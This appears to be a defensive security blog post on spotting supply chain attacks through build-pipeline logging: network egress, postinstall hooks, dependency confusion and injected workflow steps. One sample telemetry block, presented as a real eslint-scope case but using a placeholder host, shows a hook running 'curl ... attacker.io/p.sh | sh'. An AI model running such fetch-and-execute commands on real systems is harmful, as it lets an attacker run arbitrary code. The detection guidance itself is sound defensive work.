All Posts
Supply ChainAvailable9 min read · Mar 19, 2026

Detecting Supply Chain Compromise via Build Pipeline Telemetry

By the time a malicious dependency lands in production, you are five steps behind the attacker. The cheap, high-value detection happens at the build pipeline - and most teams are barely instrumented there. Here is the small set of build-pipeline signals that catches most realistic supply chain compromise.

Supply ChainDefensiveCI/CD

Most supply chain detection conversation focuses on what happens after the malicious package reaches the user - runtime behaviour, network beacons, post-execution scanning. By that point, the package has been built, signed, mirrored, distributed, and installed on tens of thousands of developer laptops or production hosts. The detection window has been open since the moment the dependency was first proposed; we have closed our eyes for the entire interesting part.

The cheap, high-value detection happens upstream, at the build pipeline. Most teams are barely instrumented there because build pipelines have historically been operational rather than security-owned, and because the security team's existing tooling is oriented toward production endpoints. Closing this gap is a small amount of work that catches most realistic supply chain compromise that has hit Western enterprises in the past five years.

What you actually need to log

The instrumentation goal is to make every step of every build inspectable after the fact, with enough context to tell normal from anomalous. Specifically:

  • Full dependency manifest (lockfile contents, including transitive resolution) at the start of each build, with cryptographic hashes of each artefact. Compare across builds.
  • Network destinations and bytes-in/bytes-out for the build container, with allow-listing on known package mirrors. Anything outbound to a non-mirror destination is high-fidelity.
  • Process tree of every step within the build container, including lifecycle of build-script processes (postinstall hooks in npm are the canonical place to look).
  • Filesystem changes outside the expected output directory - anything that writes to /etc, /usr, ~/.ssh, or modifies environment files is high-fidelity.
  • Build-step provenance: every step traces back to a specific commit + lockfile state + environment variables. Reproducibility is also auditability.

What anomalous looks like

We have looked at a fair number of post-mortems for supply chain compromise. The malicious behaviour that survived through to production almost always left obvious telemetry signatures at build time, in the same shapes:

shell
# Real example from the eslint-scope (2018) compromise. The compromised
# package's postinstall hook fetched and executed a remote script.
# Build-pipeline signature:

  process: node /build/node_modules/eslint-scope/postinstall.js
  spawn:   /usr/bin/curl -s https://attacker.io/p.sh | sh
  network: TLS connection to attacker.io:443, 14 KB out, 2 KB in

The signal is not subtle. The build container fetched a URL outside the corporate package mirror, the URL is unfamiliar, the response was piped to sh, and the package's postinstall hook spawned the chain. Any one of these on its own is suspicious. Together they are unambiguous.

TIP
If you instrument only one signal, instrument outbound network from your build containers. The signal-to-noise is excellent because legitimate builds talk to a small, knowable set of package mirrors. Anything outside that set, by any process, on any port, is worth a look.

Dependency substitution

A trickier class. The attacker doesn't compromise an existing package; they publish a new one with a name colliding with an internal-private package, betting the build resolver will pick theirs over the legitimate one. This is the dependency-confusion bug class Alex Birsan demonstrated in 2021, and it remains exploitable in many environments.

Detection: if your build resolves any private package from a public registry - ever - that is a hard signal. The legitimate workflow either uses a private registry or scopes private packages under a registered organisation namespace; either way, the resolver should never reach for the public registry to satisfy a private name. Log every resolution against a per-package source-of-truth list and alert on any deviation.

Build-step injection

The variant that gets the least attention. A legitimate dependency is not modified; instead, a step is added to the pipeline configuration itself - sometimes via a malicious GitHub Action, sometimes via a poisoned reusable workflow, sometimes via a CI/CD-side bug like the Codecov 2021 incident. The injected step runs in the trusted build environment with full access to secrets.

Detection: pipeline configuration changes are themselves auditable artefacts. A pull request that introduces a new third-party Action or modifies workflow YAML should pass through a different review track than ordinary code changes - same level of scrutiny as a dependency manifest update. In practice, this discipline collapses early when the pipeline grows complicated; restoring it is high-leverage.

What this gets you

Build pipeline instrumentation is unfashionable because it produces no marketing-deck dashboards and no incident-response heroics. Its work is to make malicious activity visible at the cheapest detection point, before the artefact ever reaches a developer laptop or production host. Done correctly, it catches the supply-chain bug class for which 'EDR will save us' is wishful thinking. Done badly, it becomes one more telemetry source nobody reads. The difference is whether somebody on your team has actually tried to compromise the pipeline themselves and seen what shows up.